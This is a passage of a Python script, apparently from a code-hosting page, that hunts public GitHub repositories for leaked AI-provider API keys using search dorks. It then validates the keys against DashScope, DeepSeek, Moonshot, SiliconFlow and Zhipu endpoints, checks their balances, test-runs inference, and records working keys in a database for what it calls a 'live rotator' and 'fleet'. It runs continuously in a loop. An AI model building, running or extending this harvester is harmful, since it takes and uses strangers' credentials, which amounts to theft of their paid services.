(observed: beijing models=519 for 161 unrelated keys, zai models=11 for
|
||||
all 155). A bare 200 from /models proves nothing without this control.
|
||||
Fail-closed: control error -> not attributed."""
|
||||
try:
|
||||
r = requests.get(url, headers={**(hdr or UA),
|
||||
"Authorization": f"Bearer {GARBAGE_KEY}"},
|
||||
timeout=8)
|
||||
return r.status_code != 200
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def classify_http(code, body=""):
|
||||
"""Map a non-200 probe response onto the audit vocabulary.
|
||||
|
||||
Throttled (429), in-arrears (400) and not-entitled-to-this-model (403/404)
|
||||
keys are alive but unusable right now. Treating them as dead is what
|
||||
inflated the DEAD count (1404 of 1440 DASHSCOPE rows) and hid recoverable
|
||||
keys, so they get their own classes and never reach status='DEAD'.
|
||||
"""
|
||||
text = str(body or "")[:400].lower()
|
||||
if code == 429 or "throttl" in text or "rate limit" in text \
|
||||
or "too many requests" in text:
|
||||
return ("throttled", code)
|
||||
if code == 400 and any(w in text for w in ARREAR_WORDS):
|
||||
return ("arrearage", code)
|
||||
if code in (402, 403, 404) and any(w in text for w in MODEL_WORDS):
|
||||
return ("no_model", code)
|
||||
if code == 402 or (code == 400 and "balance" in text):
|
||||
return ("arrearage", code)
|
||||
return ("reject", code)
|
||||
|
||||
def probe_dashscope_chat(k, base=None, model="qwen-turbo"):
|
||||
"""Tier 2: prove the key can actually run inference.
|
||||
|
||||
GET /v1/models only proves authentication. Free-tier exhaustion (403
|
||||
AllocationQuota.FreeTierOnly) and arrears (400 Arrearage) surface on
|
||||
inference calls, so a key promoted into a live rotator on tier 1 alone can
|
||||
still fail at request time. Costs one token: the fleet skips it, the audit
|
||||
tool opts in with --chat-verify.
|
||||
"""
|
||||
base = base or "https://dashscope.aliyuncs.com/compatible-mode/v1"
|
||||
try:
|
||||
r = requests.post(
|
||||
f"{base}/chat/completions",
|
||||
headers={**UA, "Authorization": f"Bearer {k}",
|
||||
"Content-Type": "application/json"},
|
||||
json={"model": model,
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 1},
|
||||
timeout=20)
|
||||
except Exception:
|
||||
return ("net", None)
|
||||
if r.status_code == 200:
|
||||
return ("WORKING", f"chat-verified {model}")
|
||||
return classify_ds(r.status_code, r.text)
|
||||
|
||||
|
||||
def probe_zai(k):
|
||||
try:
|
||||
url = "https://api.z.ai/api/paas/v4/models"
|
||||
r = requests.get(url,
|
||||
headers={**UA, "Authorization": f"Bearer {k}"},
|
||||
timeout=15)
|
||||
if r.status_code == 200 and not _key_attributed(url):
|
||||
return ("UNVERIFIED_AUTHBLIND", "zai catalog not key-attributed")
|
||||
if r.status_code == 200:
|
||||
try:
|
||||
n = len(r.json().get("data", []))
|
||||
except Exception:
|
||||
n = 0
|
||||
return ("WORKING", f"zai models={n}")
|
||||
return classify_http(r.status_code, r.text)
|
||||
except Exception:
|
||||
return ("net", None)
|
||||
|
||||
|
||||
def probe_bigmodel(k):
|
||||
try:
|
||||
url = "https://open.bigmodel.cn/api/paas/v4/models"
|
||||
r = requests.get(url,
|
||||
headers={**UA, "Authorization": f"Bearer {k}"},
|
||||
timeout=15)
|
||||
if r.status_code == 200 and not _key_attributed(url):
|
||||
return ("UNVERIFIED_AUTHBLIND", "bigmodel catalog not key-attributed")
|
||||
if r.status_code == 200:
|
||||
return ("WORKING", "zhipu bigmodels OK")
|
||||
return classify_http(r.status_code, r.text)
|
||||
except Exception:
|
||||
return ("net", None)
|
||||
|
||||
|
||||
def probe_deepseek(k):
|
||||
try:
|
||||
r = requests.get("https://api.deepseek.com/user/balance",
|
||||
headers={**UA, "Authorization": f"Bearer {k}"},
|
||||
timeout=15)
|
||||
if r.status_code == 200:
|
||||
try:
|
||||
b = (r.json().get("balance_infos") or [{}])[0]
|
||||
tb = float(b.get("total_balance"))
|
||||
except Exception:
|
||||
return ("UNVERIFIED_AUTHBLIND", "deepseek balance unparsed")
|
||||
if tb <= 0:
|
||||
return ("arrearage", f"deepseek ${tb} empty")
|
||||
return ("WORKING", f"deepseek ${tb}")
|
||||
return classify_http(r.status_code, r.text)
|
||||
except Exception:
|
||||
return ("net", None)
|
||||
|
||||
|
||||
def probe_moonshot(k):
|
||||
try:
|
||||
r = requests.get("https://api.moonshot.cn/v1/users/me/balance",
|
||||
headers={**UA, "Authorization": f"Bearer {k}"},
|
||||
timeout=15)
|
||||
if r.status_code == 200:
|
||||
try:
|
||||
b = float(r.json().get("data", {}).get("balance"))
|
||||
except Exception:
|
||||
return ("UNVERIFIED_AUTHBLIND", "moonshot balance unparsed")
|
||||
if b <= 0:
|
||||
return ("arrearage", f"moonshot ¥{b} empty")
|
||||
return ("WORKING", f"moonshot ¥{b}")
|
||||
return classify_http(r.status_code, r.text)
|
||||
except Exception:
|
||||
return ("net", None)
|
||||
|
||||
|
||||
def probe_siliconflow(k):
|
||||
try:
|
||||
url = "https://api.siliconflow.cn/v1/models"
|
||||
r = requests.get(url,
|
||||
headers={**UA, "Authorization": f"Bearer {k}"},
|
||||
timeout=15)
|
||||
if r.status_code == 200 and not _key_attributed(url):
|
||||
return ("UNVERIFIED_AUTHBLIND", "siliconflow catalog not key-attributed")
|
||||
if r.status_code == 200:
|
||||
return ("WORKING", "siliconflow models OK")
|
||||
return classify_http(r.status_code, r.text)
|
||||
except Exception:
|
||||
return ("net", None)
|
||||
|
||||
|
||||
def validate_key(hsh, key, prov, repo):
|
||||
"""Probe a found key across the family's endpoints; classify."""
|
||||
is_zai_shape = "." in key and len(key.split(".")[0]) == 32 \
|
||||
and len(key) > 40
|
||||
if not (is_zai_shape or key.startswith(("sk-", "sk-sp-"))):
|
||||
# Fail-closed: only shapes these probes can actually judge may ever be
|
||||
# written DEAD. An nvapi-/xai-/gsk_ key answers 401 on every sk- endpoint,
|
||||
# which is not evidence of death - it is evidence we asked the wrong host.
|
||||
# Leave the row NEW so a lane that owns that provider decides instead.
|
||||
return ("NEW", "no-probe-for-shape:" + str(prov or "?"))
|
||||
probes = []
|
||||
if is_zai_shape:
|
||||
probes += [("ZAI", probe_zai), ("BIGMODEL", probe_bigmodel)]
|
||||
else: # sk- shape: dashscope/deepseek/moonshot/siliconflow share it
|
||||
probes += [("DASHSCOPE", probe_dashscope), ("DEEPSEEK", probe_deepseek),
|
||||
("MOONSHOT", probe_moonshot), ("SILICONFLOW", probe_siliconflow)]
|
||||
results = [(name,) + fn(key) for name, fn in probes]
|
||||
alive = [r for r in results if r[1] == "WORKING"]
|
||||
nets = [r for r in results if r[1] in ("net", "endpoint_error")]
|
||||
if alive:
|
||||
# The regex cannot separate DASHSCOPE from DEEPSEEK (identical sk-<32hex>
|
||||
# shape), so record the provider the probe actually proved, not the label
|
||||
# the pattern guessed.
|
||||
real_prov = alive[0][0]
|
||||
plan = f"{real_prov}: " + " | ".join(a[2] for a in alive)
|
||||
with dblock:
|
||||
conn.execute(
|
||||
"UPDATE keys SET status='WORKING', prov=?, plan=?, remaining=? "
|
||||
"WHERE hash=?", (real_prov, plan[:200], "OK", hsh))
|
||||
return ("WORKING", plan)
|
||||
classes = {r[1] for r in results}
|
||||
if classes & {"throttled", "net"}:
|
||||
# transient: leave the row NEW so the validator retries it later
|
||||
return ("NEW", "retry:" + ",".join(sorted(classes & {"throttled", "net"})))
|
||||
if "UNVERIFIED_AUTHBLIND" in classes:
|
||||
# Transient on purpose, not terminal. A cached public catalog is a CDN
|
||||
# edge condition that clears on its own, so the row is worth one more
|
||||
# look next run; and since plan keys now get a real verdict from the
|
||||
# tier-2 coding-plan probe, nothing spins forever. An earlier revision
|
||||
# parked these as LIMITED to bound retries - dropped because it also
|
||||
# parked live keys. The note must name the class: "retry:" alone (the
|
||||
# intersection above omits AUTHBLIND) hid the reason in every node log.
|
||||
# Demote rows a previous blind probe stamped WORKING: re-find +
|
||||
# authblind must never leave the fiction standing (the insert path
|
||||
# only demotes DEAD/ERR, so without this write a false WORKING row
|
||||
# survives forever). No-op for rows already NEW.
|
||||
with dblock:
|
||||
conn.execute(
|
||||
"UPDATE keys SET status='NEW', plan='authblind-requeue' "
|
||||
"WHERE hash=? AND status='WORKING'", (hsh,))
|
||||
return ("NEW", "retry:UNVERIFIED_AUTHBLIND")
|
||||
if classes & {"arrearage", "no_model", "free_tier"}:
|
||||
note = ",".join(sorted(classes & {"arrearage", "no_model", "free_tier"}))
|
||||
with dblock:
|
||||
conn.execute("UPDATE keys SET status='LIMITED', plan=? "
|
||||
"WHERE hash=?", (note[:200], hsh))
|
||||
return ("LIMITED", note)
|
||||
with dblock:
|
||||
conn.execute("UPDATE keys SET status='DEAD' WHERE hash=?", (hsh,))
|
||||
return ("DEAD", None)
|
||||
|
||||
|
||||
def main():
|
||||
log(f"=== dashscope hunt START pats={len(POOL.tokens)} "
|
||||
f"dorks={len(DORKS)} pages={PAGES} ===")
|
||||
if SHARD_FALLBACK:
|
||||
# MOD > len(DORKS) empties every slice: the hunt would print
|
||||
# "HUNT done: +0 keys", exit 0 and look healthy to systemd, zeroing the
|
||||
# whole fleet with no error anywhere. Say it in the banner instead.
|
||||
log(f"SHARD FALLBACK: KF_DORK_MOD={DORK_MOD} exceeds the dork list, "
|
||||
f"shard {DORK_SHARD} is empty -> hunting all {len(DORKS)} dorks")
|
||||
with ThreadPoolExecutor(max_workers=N_THREADS) as ex:
|
||||
futs = {ex.submit(work, q): q for q in DORKS}
|
||||
for fut in as_completed(futs):
|
||||
q = futs[fut]
|
||||
try:
|
||||
n = fut.result()
|
||||
if n:
|
||||
log(f" dork +{n}: {q!r}")
|
||||
except Exception as e:
|
||||
log(f" dork error {q!r}: {e!r}")
|
||||
log(f"HUNT done: +{len(found_keys)} keys, "
|
||||
f"raw_files={raw_fetched[0]} — validating...")
|
||||
|
||||
working = dead = 0
|
||||
with ThreadPoolExecutor(max_workers=N_THREADS) as ex:
|
||||
futs = {}
|
||||
for hsh, (key, prov, repo) in found_keys.items():
|
||||
futs[ex.submit(validate_key, hsh, key, prov, repo)] = (hsh, key,
|
||||
prov, repo)
|
||||
for fut in as_completed(futs):
|
||||
hsh, key, prov, repo = futs[fut]
|
||||
try:
|
||||
st, info = fut.result()
|
||||
except Exception:
|
||||
continue
|
||||
if st == "WORKING":
|
||||
working += 1
|
||||
log(f" LIVE {key[:12]}... {info} <- {repo[:70]}")
|
||||
elif st == "DEAD":
|
||||
dead += 1
|
||||
log(f"VALIDATE done: WORKING={working} DEAD={dead} "
|
||||
f"(of {len(found_keys)})")
|
||||
|
||||
|
||||
LOOP_SLEEP = 300
|
||||
|
||||
|
||||
def loop():
|
||||
while True:
|
||||
try:
|
||||
found_keys.clear()
|
||||
seen_files.clear()
|
||||
raw_fetched[0] = 0
|
||||
main()
|
||||
except Exception as e:
|
||||
log(f"loop error: {e!r}")
|
||||
log(f"sleep {LOOP_SLEEP}s before next cycle")
|
||||
time.sleep(LOOP_SLEEP)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
if "--loop" in sys.argv:
|
||||
loop()
|
||||
else:
|
||||
main()
|
||||
Reference in New Issue
Block a user